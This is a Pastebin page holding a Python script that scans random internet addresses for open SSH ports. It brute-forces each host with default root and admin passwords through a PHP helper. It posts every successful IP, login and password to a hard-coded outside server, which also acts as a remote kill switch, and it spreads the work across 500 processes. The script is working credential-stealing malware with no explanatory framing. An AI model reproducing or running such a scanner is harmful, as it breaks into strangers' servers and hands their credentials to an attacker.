Guest User

Untitled

a guest
Nov 7th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.56 KB | None | 0 0
  1. import socket
  2. import random
  3. from multiprocessing import Process
  4. import time
  5. import os
  6. import re
  7. import signal
  8. import urllib2
  9.  
  10. # 1 thr = 3.41 Mb
  11.  
  12.  
  13. def brute_force(hostname):
  14.     for username in user_list:
  15.         for passw in password_list:
  16.             print('Start check', username, passw)
  17.             try:
  18.                 result = os.popen('/usr/bin/php /tmp/1/start.php {0} {1} {2}'.format(hostname, username, passw)).read()
  19.                 if not result == 'True':
  20.                     continue
  21.  
  22.                 if username == 'root':
  23.                     if passw == 'skip':
  24.                         print('skipped')
  25.                         return
  26.                 print("Good", hostname, username, passw)
  27.                 save_good_remote(hostname, username, passw)
  28.                 return
  29.             except Exception as e:
  30.                 print(e)
  31.                 continue
  32.     username = None
  33.     passw = None
  34.     del username
  35.     del passw
  36.  
  37.  
  38. def save_good_remote(ip, login, password):
  39.     opener = urllib2.build_opener()
  40.     post = "ip={0}&login={1}&password={2}&secret=KLYokn0vzggJxumjwLAAabauZHfEilVm".format(ip, login, password)
  41.     opener.open('http://178.20.154.228/ssh/gate/in3.php', post.encode())
  42.     del opener
  43.  
  44.  
  45. def check_exit():
  46.     while True:
  47.         try:
  48.             opener = urllib2.build_opener()
  49.             post = "secret=KLYokn0vzggJxumjwLAAabauZHfEilVm"
  50.             response = opener.open('http://178.20.154.228/ssh/gate/check_work.php', post.encode('utf-8')).read()
  51.  
  52.             if not response == 'work':
  53.                 os.killpg(0, signal.SIGINT)
  54.                 os.system('pkill -f -9 start_php.py')
  55.                 exit(0)
  56.         except:
  57.             os.killpg(0, signal.SIGINT)
  58.             os.system('pkill -f -9 start.py')
  59.             exit(0)
  60.         time.sleep(60)
  61.  
  62.  
  63. def mem_free():
  64.     content = str(open('/proc/meminfo', 'r').read())
  65.     memory_free = int(int(re.findall('MemFree.+?([0-9]+)', content)[0]) / 1024)
  66.     memory_total = int(int(re.findall('MemTotal.+?([0-9]+)', content)[0]) / 1024)
  67.     memory_avialable = int(int(re.findall('MemAvailable.+?([0-9]+)', content)[0]) / 1024)
  68.     return memory_avialable
  69.  
  70.  
  71. def main_runner():
  72.     while True:
  73.         try:
  74.             iterator = 100
  75.             for temp in range(iterator):
  76.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  77.                 sock.settimeout(2)
  78.                 remote_server_ip = '{0}.{1}.{2}.{3}'.format(random.randrange(1, 254),
  79.                                                             random.randrange(1, 254),
  80.                                                             random.randrange(1, 254),
  81.                                                             random.randrange(1, 254))
  82.                 # print(remote_server_ip)
  83.  
  84.                 try:
  85.                     if sock.connect_ex((remote_server_ip, 22)) == 0:
  86.                         # sock.close()    #??
  87.                         brute_force(remote_server_ip)
  88.                 except:
  89.                     sock.close()
  90.                     del sock
  91.  
  92.         except KeyboardInterrupt:
  93.             print('exit')
  94.             os.system('pkill -f -9 start.py')
  95.             exit(0)
  96.         except:
  97.             pass
  98.  
  99.  
  100. def knock_knock():
  101.     while True:
  102.         print('knock knock')
  103.         try:
  104.             opener = urllib2.build_opener()
  105.             post = "secret=KLYokn0vzggJxumjwLAAabauZHfEilVm"
  106.             response = opener.open('http://178.20.154.228/ssh/gate/knock.php', post.encode('utf-8')).read()
  107.             if not response == 'work':
  108.                 os.killpg(0, signal.SIGINT)
  109.                 print('exit')
  110.                 os.system('pkill -f -9 start.py')
  111.                 exit(0)
  112.         except Exception as e:
  113.             os.killpg(0, signal.SIGINT)
  114.             print('exit')
  115.             os.system('pkill -f -9 start.py')
  116.             exit(0)
  117.         time.sleep(120)
  118.  
  119.  
  120. user_list = ['root', 'admin']
  121. password_list = ['skip', 'admin', 'root', '123456']
  122.  
  123.  
  124. if __name__ == '__main__':
  125.     num_proc = 500
  126.  
  127.     processes = [Process(target=main_runner, args=()) for x in range(num_proc)]
  128.     exit_checker = [Process(target=check_exit, args=()) for x in range(1)]
  129.     knock = [Process(target=knock_knock, args=()) for x in range(1)]
  130.     exit_checker[0].start()
  131.     knock[0].start()
  132.  
  133.     while True:
  134.         # time.sleep(10/100)
  135.         i = 0
  136.         p = None
  137.         for p in processes:
  138.             if not p.is_alive():
  139.                 processes[i] = Process(target=main_runner, args=())
  140.                 processes[i].start()
  141.             i += 1
Add Comment
Please, Sign In to add comment